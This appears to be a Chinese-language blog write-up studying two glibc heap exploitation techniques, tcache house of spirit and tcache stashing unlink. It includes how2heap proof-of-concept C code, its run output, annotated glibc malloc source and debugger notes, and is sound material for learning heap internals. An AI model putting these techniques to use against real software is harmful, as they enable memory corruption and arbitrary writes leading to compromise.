Tcache house of spirit && Tcache stashing unlink attack

Tcache house of spirit

how2heap tcache_house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates the house of spirit attack on tcache.\n");
printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

printf("Ok. Let's start with the example!.\n\n");


printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);

printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region

printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size


printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

a = &fake_chunks[2];

printf("Freeing the overwritten pointer.\n");
free(a);

printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
void *b = malloc(0x30);
printf("malloc(0x30): %p\n", b);

assert((long)b == (long)&fake_chunks[2]);
}
Starting program: /mnt/hgfs/Share/how2heap/glibc_2.27/tcache_house_of_spirit
This file demonstrates the house of spirit attack on tcache.
It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.
You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.
(Search for strings "invalid next size" and "double free or corruption")

Ok. Let's start with the example!.

Calling malloc() once so that it sets up its memory.
Let's imagine we will overwrite 1 pointer to point to a fake chunk region.
This region contains one fake chunk. It's size field is placed at 0x7fffffffdee8
This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7fffffffdee8.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7fffffffdee8, which will be 0x7fffffffdef0!
malloc(0x30): 0x7fffffffdef0
[Inferior 1 (process 6552) exited normally]

额,比fastbin简单多了

伪造完成

image-20230327160459074

how2heap

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);// size > 0x90

//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}
This file demonstrates the stashing unlink attack on tcache.

This poc has been tested on both glibc 2.27 and glibc 2.29.

This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc

The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.

This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.

Stack_var emulates the fake chunk we want to alloc to.

First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.

You can see the value of fake_chunk->bk is:0x7fffffffde30

Also, let's see the initial value of stack_var[4]:(nil)

Now we alloc 9 chunks with malloc.

Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.

As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.

Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.

Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins

Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: 0x7fffffffde20.

Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.

Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: 0x6033a0 and the bck->fd has been changed into a libc addr: 0x7ffff7dcdd30

As you can see, next malloc(0x90) will return the region our fake chunk: 0x7fffffffde30

tcache有剩余时,small bin下一次malloc时会按照bk指向放入合适tcachebin,在这个过程中只对第一个 bin 进行了完整性检查__glibc_unlikely (bck->fd != victim),后面的堆块的检查缺失

calloc不会在tcachebin里申请内存

&stack_var
0x7fffffffde20
&chunk_lis
0x7fffffffdea0
&target
0x7fffffffde18
  1. stack_var[3] = (unsigned long)(&stack_var[2]);即0x7fffffffde38写入0x7fffffffde30,具体为什么这样后面解释

    image-20230327234406124

  2. 先malloc了0xa0(malloc arg=0x90)大小的九个堆,我们叫他chunk0-8把

  3. 把chunk3-chunk8释放掉进入tcachebin

    image-20230327232412518
  4. free(chunk_lis[1]);后0xa0tcachebin满7个,free(chunk_lis[0]);free(chunk_lis[2]);会进入unsorted bin

    image-20230327232958585
  5. malloc(0xa0);没有合适大小chunk,重新分配一个,但是会触发unsortedbin分类操作,tcache满了,0xa0大小chunk会进入small bin里

    image-20230327233240585
  6. malloc(0x90);malloc(0x90);把tcache前两个申请出来

image-20230327233621133
  1. chunk_lis[2][1] = (unsigned long)stack_var;把chunk2的bk指针改为&stack_var=0x7fffffffde20

    image-20230327233912304

  2. calloc(1,0x90);FIFO原则,会从smallbin拿走chunk0,这时候tcache有空位,会把small bin里的东西给移到tcachebin

    看下源码怎么从small bin把chunk0拿走的的

    if (in_smallbin_range (nb))
    {
    idx = smallbin_index (nb);
    // 获取 small bin 的索引
    bin = bin_at (av, idx);
    // 先执行 victim = last(bin),获取 small bin 的最后一个 chunk
    // 若结果 victim = bin ,那说明该 bin 为空。
    if ( ( victim = last (bin) ) != bin )
    {
    // 获取 small bin 中倒数第二个 chunk 。
    bck = victim->bk;
    // 检查 bck->fd 是不是 victim,防止伪造
    if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");
    // 设置 victim 对应的 inuse 位
    set_inuse_bit_at_offset (victim, nb);
    // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
    bin->bk = bck;
    bck->fd = bin;

    对chunk0进行bck就是chunk2,victim是chunk0,bck->fd != victim检测chunk2没有破坏fd指针,绕过,其余没有其他检测bk指针的code, 之后进行unlink操作bin->bk = bck; bck->fd = bin;继续构成循环链表

    看下源码把其余chunk放入tcache bin的

    #if USE_TCACHE
    /* While we're here, if we see other chunks of the same size,
    stash them in the tcache. */
    size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
    if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
    {
    mchunkptr tc_victim;

    /* While bin not empty and tcache not full, copy chunks over. */
    while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
    && (tc_victim = last (bin)) != bin)//并且small bin不为空,tc_victim为small bin中的最后一个堆块
    {
    if (tc_victim != 0)
    {
    bck = tc_victim->bk;//这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
    set_inuse_bit_at_offset (tc_victim, nb);
    if (av != &main_arena)
    set_non_main_arena (tc_victim);
    bin->bk = bck;//将tc_victim从small bin中脱链
    bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
    tcache_put (tc_victim, tc_idx);//将tc_victim链入tc_idx这条链
    }
    }
    }
    #endif
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
    }
    }

    没有bck->fd != victim的验证所以我们伪造的chunk不需要伪造fd,这个时候还是先进行unlink操作,第一次是对chunk2进行unlinke,bck为chunk 0x7fffffffde20,bck->fd=bin会在0x7fffffffde30写入bin(small bin),这就需要我们首先保证这个伪造地址的bk的fd是可写的

    可以下个条件断点看下 watch *(long *)0x7fffffffde30

    image-20230328012821048

    第二次对伪造chunk 0x7fffffffde20进行unlinke bck为之前第1步*伪造的0x7fffffffde30,会在0x7fffffffde40写入bin(small bin)

    image-20230328013130739

    为什么这里0x7fffffffde30不是small bin了呢?是因为被tcache_put (tc_victim, tc_idx)把0x7fffffffde20链入tcachebin时改写了0x7fffffffde30处的next指针

    条件断点看下就可以

    image-20230328013046989

    image-20230327234506290

    malloc(0x90)成功申请

    累死